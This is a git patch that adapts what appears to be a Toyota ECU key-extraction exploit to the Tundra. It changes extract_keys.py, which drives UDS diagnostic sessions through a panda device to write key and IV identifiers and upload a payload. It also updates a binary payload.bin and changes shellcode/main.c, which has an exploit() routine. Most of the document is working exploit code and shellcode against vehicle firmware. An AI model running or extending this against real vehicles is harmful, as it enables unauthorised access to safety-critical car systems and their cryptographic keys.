From b80d9104a14bdf59d236a6a0de2a4a5c929a9d76 Mon Sep 17 00:00:00 2001 From: Willem Melching Date: Sun, 13 Jul 2025 23:15:42 +0200 Subject: [PATCH] make it work for the tundra --- extract_keys.py | 13 ++++++------- payload.bin | Bin 4096 -> 4096 bytes shellcode/main.c | 2 +- 3 files changed, 7 insertions(+), 8 deletions(-) diff --git a/extract_keys.py b/extract_keys.py index 1afbd63..04668b6 100755 --- a/extract_keys.py +++ b/extract_keys.py @@ -28,6 +28,7 @@ b'\x018965B4209000\x00\x00\x00\x00': b'\x01!!!!!!!!!!!!!!!!', # 2021 RAV4 Prime b'\x018965B4233100\x00\x00\x00\x00': b'\x01!!!!!!!!!!!!!!!!', # 2023 RAV4 Prime b'\x018965B4509100\x00\x00\x00\x00': b'\x01!!!!!!!!!!!!!!!!', # 2021 Sienna + b'\x048965F3401200\x00\x00\x00\x008A3113402000\x00\x00\x00\x008965F3402200\x00\x00\x00\x008A3213402000\x00\x00\x00\x00': b'\x04!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!', } KEY_STRUCT_SIZE = 0x20 @@ -61,7 +62,7 @@ def get_secoc_key(key_struct): panda = Panda() panda.set_safety_mode(CarParams.SafetyModel.elm327) - uds_client = UdsClient(panda, ADDR, ADDR + 8, BUS, timeout=0.1, response_pending_timeout=0.1) + uds_client = UdsClient(panda, ADDR, ADDR + 8, BUS, timeout=0.1, response_pending_timeout=1.0) print("Getting application versions...") @@ -82,8 +83,6 @@ def get_secoc_key(key_struct): uds_client.diagnostic_session_control(SESSION_TYPE.PROGRAMMING) # Get bootloader version - uds_client.diagnostic_session_control(SESSION_TYPE.DEFAULT) - uds_client.diagnostic_session_control(SESSION_TYPE.EXTENDED_DIAGNOSTIC) bl_version = uds_client.read_data_by_identifier(DATA_IDENTIFIER_TYPE.APPLICATION_SOFTWARE_IDENTIFICATION) print(" - APPLICATION_SOFTWARE_IDENTIFICATION (bootloader) ", bl_version) @@ -113,7 +112,7 @@ def get_secoc_key(key_struct): print("\nPreparing to upload payload...") # Write something to DID 203, not sure why but needed for state machine - uds_client.write_data_by_identifier(0x203, b"\x00" * 5) + uds_client.write_data_by_identifier(0x203, b"\x01\x00\x00\x00\x00") # Write KEY and IV to DID 201/202, prerequisite for request download print(" - Write data by identifier 0x201", DID_201_KEY.hex()) @@ -126,7 +125,7 @@ def get_secoc_key(key_struct): data = b"\x01" # [1] Format data += b"\x46" # [2] 4 size bytes, 6 address bytes data += b"\x01" # [3] memoryIdentifier - data += b"\x00" # [4] + data += b"\x01" # [4] data += struct.pack('!I', 0xfebf0000) # [5] Address data += struct.pack('!I', 0x1000) # [9] Size @@ -155,7 +154,7 @@ def get_secoc_key(key_struct): # [5] 0x0 # [6] mem addr # [10] mem addr - data = b"\x45\x00" + data = b"\x45\x01" data += struct.pack('!I', 0xfebf0000) data += struct.pack('!I', 0x1000) @@ -172,7 +171,7 @@ def get_secoc_key(key_struct): # [5] 0x0 # [6] mem addr # [10] mem addr - data = b"\x45\x00" + data = b"\x45\x01" data += struct.pack('!I', 0xe0000) data += struct.pack('!I', 0x8000) diff --git a/payload.bin b/payload.bin index 24580bad9973c540319da52f1ec7b2916380542d..fda79ae1d57df498d109f119bea6a4312001d6d1 100644 GIT binary patch delta 4038 zcmV;%4>|CFAb=o{V1Km?$Oxd$ATO;jt3l)pcxM60(ibt$!};mx~_@3spTsG6V4+ zrfXhmSjB(H53`j3Ql}xpHoM%c(1iB%?Pt;a#1NlNwi*k;_NBkU6bAPk;oQr7X1;Yy z`fJ^y?|Q7ps~?75m!Zy(mE})5IoVPBzo)^W*jM;PD`Xn7Z+mE)N83!> z{(e(y<}5J2P=E0)fbk73!TjSNE}21}2&OaF)4|f)$EPt6GJrn53^y^0n|69JbR?lz zoN=nXwi4E-xj)kH;>fs89wcU-j8DL-u9-X_ zDpsrEWL>H}68{VOJ1^{L3a^%iZd3G#5H;e|&28wJq` z#*?sI^nW5S6FqS|&T6xp6j8+QQ!#=)+n^qu>v*m!GZbP(SA2^@8gb56k)W0o8r#^M zziiVb819Nq#y@-((!+k+n67(`=^^Wg?v1Z)=8Five(ua4i=&pH$zgt;U-<|=#Re9_ zyJ;zqqS{npOyQGaP>D3pz-ZQRcsM!I2~pZmf`5n`X`M4 z0e^;9vs4ueFG`a~OoOAIJ|)zeX!iP&rZ5yzisRp&CRrd9itCR3O$hntQ-0?% zHisMt8O9!IYB_?YEl|{|pZ^zP@6+A#58;k!xggTZ=nC{=#P;}MgileXCKnoz5vC=4 zE!pn(QF`-w4CZV6Q^p8~*}5cKKrD9zL4T;rM#e_klzNfIhA;CSy+SD|| z_|+Z!7Gp$EHAKgbu3jNaIR~LtqiQ&zGZNcuwPh(o_%^JRp0{nB#5yZ%;F?GbB_+eF z@mgS-c`OpDvsQ|3H@xBiJznY4v40zixNeQvVQH8V4|3I@QL}v^fNhvR3au+}du8Cq zT!?73j3l&>#{fL!&Bw^{Ur?;2zdpd~;J1Nb>M7>K8ao2wa|*CF%)=zYB32x(0e@gvf)bwb6n4FOA`H~AAYuo0x?4&5$+sY)Gz%py^dvE{dPDL{ zt;?YDsvXM`2Itc|lsdXu|I=1i7%tAFLYFl*I8G%7>mH!Bv2;N{yQI#@$;q#d19f&` z0~(2lLQB3!VZ8)5a;u0ZhTQexK29y$RRXMLlz%*bQn;oR?0+@m=M0!>*w&^1bO-lmmyyl~>H9zjYu-T>rgcmtY1F)tWACQ>GN4({Y6nXb{%?=h zZN#>&ac(vOjVlnOJ1;F+&A67@GKIXS8KP+Y{f7Kz3WIA=)`sq_!jsgrFR|$>CL)0~ z2^`{mDn$!I-+!U~Wo|%?r_g?7>a5zSig#(tfj*(Gs%x=hV(yzvQPwx9BpXfsO21YY zf;929jzj2gMjw-A3ilJ$*W6r}lpGl)bjtVJdaQ>cOT9-bh_rSloO358&M&f#L?H@@ zAB@*kgdOE+n(I0uo>X!c;VBDTjqsrXbSG1HU}`XajDIXGKMpQW2j=)_B#I;^OE|K& z#>r`eX-G6-xs6v|5&Q3}q_Z>EFcu09j0^LQR!{HelyzrBKY^7`5}d*-qmv1qU?hi> z6X9gEa!$#rS!3P2Ps8n;($XoU?tUh zxq(PGYGzYkV>dHIVvp+R3DYz>IAMO@2~(SK+NZk;I;*HzcmH;2!?V_^ zV@pbm3Qs^sx=FsCbM2K!TCl2&=#G&xE#z2`-U5LG$U$vmO=a<0?8@L(9ohP`G_(kl zkb6NhtyMNMT%c6|nTsfT7hynL+D(FXNALD8vb zz&dxd(A83nX%Wk7SA1H0It8K3%TejwFuKzXQ!{b6dI}Y=K=12(v4HIgNuT_m`+xEH zJ1An229XG~bId{D<-Gu1Rr2)G3Egl(>DR!7`K=I76it=x+qZrhY$HQ^9OdH3z4`&H zZQ}Tvs;rjdLTp3H%uIa1bNC9S$dbQvD(uFy!4H7aY2cn|6#V1H!?s1T_JUo-z!Ikv z93}u~tdN-a@-0g>BgIc*|LU>VtA7Bm7~;QO-QdojDufhwQ`3lTe};|y)~FPmu|2l! z)cR<~I%qHNwhJ6}jTz~4ShCaWS-&d#K;Uq3a35%GbIDLne(pqtJAHQu$F8s2QKIj-&BR+ovHo&;)Cw0SW+ zsiX**&D0&!`IYhj%aE|0&X35)C<&D3@e#YoOF!Ck%`Z@IT>{AC5;!xs`*dG^ObUN3c^1OgYY#aIQ`$*&1-?A|03zd>0RwsTl=G<7ow566V5umOpCI>x{@0IpD z&n~$tzFf@{SAltr1tDl0A{P5)6!o-4l}cpiEk`UENxN;IYRxs~?|)hi2lR?SI#ZIy zz=PCR1+X?@qR}?$kHp0iOX>au?KD{87{#lsrL+%G=^v)Q9 zF#%8CK2S3Cj;JgjEPu-3>L@^>#A0WFa-$#%glK|dTO?2V>|y`E|G?V@Lr-pe;m(%B zCnIDNZ-lPGhZm0?0k6>?tMR^mZ7l`+LQjy!n!n=C4GMwD7pP#YARzE`7>&a)NsP62 zvuhL;5poC49CG3Z6<1VvTz@&kkwCLL+|wkA zMRTm4?oIa2d&KFTi?I!5OTt{-J_yB6MOK8Z#~<*L)qfvnS}%`V`_}@U{%8{NVyOoO z>Z|u4dYgstwtsTx?20j{0Qhx8=m;K5Mz#3`%VZH!T{oXUSy0y4t?t$0W zB~yrqnY5@EHi{6oyegbFt$&?IOJQ(f_hCkjZ&q>vwYV7+ ztS${cCVdx*fUkx6v~cGK)VO$@k!+mkAFOv+iqy2mj}8^a;OvpjWxd`}0a(D;mpfJ3 zD3!6gi+lMgLa^$Lrf1nf_QTcIi+jPZt3cHeCa{@~i|xUka9QYb3u({ z@eP8&x_`|Mc4Nk&O@5LwUJ2)_s|6fXE0l<%9O;Z|Z&L7G5ueW4>fDrA$uh1!JOJ|w zR)|@FG1+1Jq&B47p*+_*7WMnBI zN+5E=&O?;jgL;65j}@`0OLZ~zF9|CFAb=o{V1J7KA0@#$M1HYX09`9d26o*{PWaP&lVRk%d$6e-zK18j3j9H9 z$U&CyV$^m_Z1~6#WjoR1gs7V0y=hf5-#N75_NC&Q7YC1>EXCDZwa&SbE^00iXHR|k z&-pn1+Y4WZ{g8B;K`VgnPfQQ;&@x^SX@yR zkKh}g169QF3pr2lGiaZ`yr5cgE`dX@|8V5Q8ZlBt8KQt5v96oy2C?Q+n3I%qfCP5g2i-CY{YEVk%`6vMI&qF|0d*5S7*MApndtYM(IIUP-Pjchs=UU#3nR>s zizVZ3e3+2prsVOv3@0?2op%|Ab-k|)X_bszyYvIPgbnkP9zwDa>DuK)nNxVwp>|I< zfVsc*eScpa!CXg5-b}HX#6MqpW5phZK^T&WFY5I;r&e?7nzb8W>nZEs7^XwLoU~R# z_?JY9*+2%%Fmeor>LueeO@;a`Nz%k*W@-zdipko#=z3foGz#15;;SsVE>6=u(7@Rx zT~s!dmt9AmAxDXcti<)++yxCyG>hqDMueYDet))!YAtke{(T9r*q6Zw)*P_{sYrR#1o~>J1qFK5_ri!%jo1sl7 z()tokz(%bZBJ7g{%&Ks-d&3SF%!70!q+yW3)7!Fotc=kIQIQO{qI8uM^qGrGWQ=pw zr55UWX!)^?R*G!e=qxWA)mOV94gJbs6o0?Jk{-mM7LE-D0Mrk* z7~tg%*3{*yirFyUu;e1n|yMp9W++%N9-7k;$}5f{Bs}(M+}}? zxwlP7&Vs}{arG=aIC_-w@$*a)A$dUqBj7cPuLy?m z<3;s?U2MY(z-aDdy8LCP$McS}{=m0aY%lJN%l@vnxx@|z#WtxG{E&uXNHqlQ4+Fl+ znZuJZL;?=-pTAK93cI3jG`UOQPy}uoP?k@KL*~_=R>06nWdIusZXkM~bAJ$zAddu= zb|8r>!J#OqZTLEdDY7bn7*|?e0~rj~5_#_8(5f~uSQB*es@V{lYQDO(RTkWV!4FZi zp*hJ}L;+0|!h4sc4KgKR_2X*R06HolhM`j09~q%eobNJ2Ec}sI)4Zwv|0Bbu&(7J^hD(^q0{+_*}|N?eJVjG!;q1*7(pJa z2FfpwPM~5_A&}3cH$n)LGKB`+swLKRu>KZ4T7PThup(dX@jV$m2mS7E$Hx1+xA!~{mJGhD8^v+#Zyf{q z(V1NdjJjckxNvbbWMQfJ6P|-E3$gO!LEn4q`1F&pml8Z!N`UX=Z*N6bs=q=w2d0bI zNp-nN;C>Hu879HbDSw-Q$#S+#s`bGj3SAF#6=k{1Wf4RZ4*z=iyyQK1&Uq;Ff`ky7 z0s==FCAsd&D>KOVj#BSd@TJjtF2p0Tg%IbAVWg$)S^z+QvT6vjkhH@8oYWi|HxU}o zXS7s$Yd-)l)Cgg9x*iUZd32xM}Xa~y{fW)CvO*!%QC;Yy;|jIugXkhPmW|*T z|3rIXsVKTa0<20=`-@kpyND5vK!7|jFv#U&)V{}za8x4NnX_TtO(Tbm3kfr;f}RwP z9orFbWb84%(|?__n?b0F`si<#S>m9* z{+uba8s(SLgBv?xbC&fm$O(_+68gf%Z0=&cQ;_8l3xC>*ZlR~~n2K9r)c0_L0D|I= zWR`?HUMhP9%k@HLJK(G&H3ou;^#tv2|2?6NJiv!}oZ%nYC;MG+3`n|_aM{Yc(kFAo z6yVydc!QS zxB$Fo0e`bsdF<_MK?hJp?4ic_CbttJZ<`8-^4#-HGo=;=t9RqBd*{YZ z=I3H80b$`1e;W@w4|OZ`kpAc?oF&2ifq!vaF@JXV)f={gO2c@3QW2hMuB};u4}Mzr z9=u#$tdB>@QE_WbH59ZaFg|<`9#^Oo_Kr2}A-UP0kl2`}n~&gWNqPAvZqL^FgT%lZ z072(<)D1AN*|L3tEVKji>GNw{XH}4L<3w+n^(kKeu0%S)gdt-~ZuPc3@fYf+>Y-8p zP=9{Fbn69lsX_%MgZoKYV!&3#9g{7~K3Yd89s(N#xh#^9YdEFcY&*$^{>j!0Q3kPa zFDOl0{yEiqK@w^u-f`TKB{TzC;WiOkj^g4V!2e?u9B_6dA+LS!w%s(kJqTp2Et!{H zwdj%fJMx?=Z~(zT(LG5fpfeJXh`wwubbp9A_oqWY8^!<9zq@7S$5Pg;Y@E@lSu+q` zg{c|ogdIzD5H{>21>_YzU*p2F<`EhIP!*_&gBtH7cx*e6nj*`Qj7!fd# z^=7Um?6Ik-14Zbfo|+d1xYs{l-f?uWItLTY;>G^``fiL+=DdJrW*R?|>li zc{_cEO1!fgXVJ0Dx>g2X)S+WJ5r11_zDQG|G42mHNQj2KU_V{mbAhig^ueLm9eQQ5 z0iJ1V)jueFNeuf6w1IVD1_&BJA^%C6dt4JrXp>g=I? zwj2q&`gJ2#>bb70tCSW+YJUh)#8$HOw8ZR^OYLUp`T@DYYX%w(d8?NcnkGOk;%v#0 zV$DiivZaxtB+dT`hQ%9?`O_B%ekY0N>~p;*Ap(%#=(c$u9rhl9)VM3M+VdJ3M7R3% z9UOj^*7K|ro=jMy{{EdIXK!`an+8_Nb#Y$c;63-x$uh-`u@^$~AAgcMBDgtHJlQuq zytKIlUxP$YrLNQ`$pPX1Cg5E*Q1cg;D=PRzu1?Qs5 z>I`^$w1b7aCSw-b|98YjTh1GK{}%=M*O5|<;%n&rhg+Yuqs>6?$cVopG>}sbDS64P za$L%$O;cb!m~I@*wtts$>Wz*z!W~?{IrxI;=>_*@0cx<@30W8fm6VH~b z@!;%@95+zkipzClStl#!3kER{3HtQNj*i2nFEzC#tNs^gwM_v6s!0=&8KsA?1Zwhk<*ww)WXnGWSx5x0vKRrMVh4OC^lWdrOfl>+vECZ$aS);ij5?ycC>&^IM sNBhL>1nD9@(jy!Va{QMK??(Y4)K)-bx(y7kA}sDX_J4ILLgn+nh66gx`v3p{ diff --git a/shellcode/main.c b/shellcode/main.c index ae529de..84237b0 100644 --- a/shellcode/main.c +++ b/shellcode/main.c @@ -12,7 +12,7 @@ void exploit() { int *addr = 0xff200000; while (addr < 0xff208000) { - int i = 0x10; + int i = 0x0A; if ((*(RSCFDnCFDTMSTSp + i) & 0b110) != 0) { continue;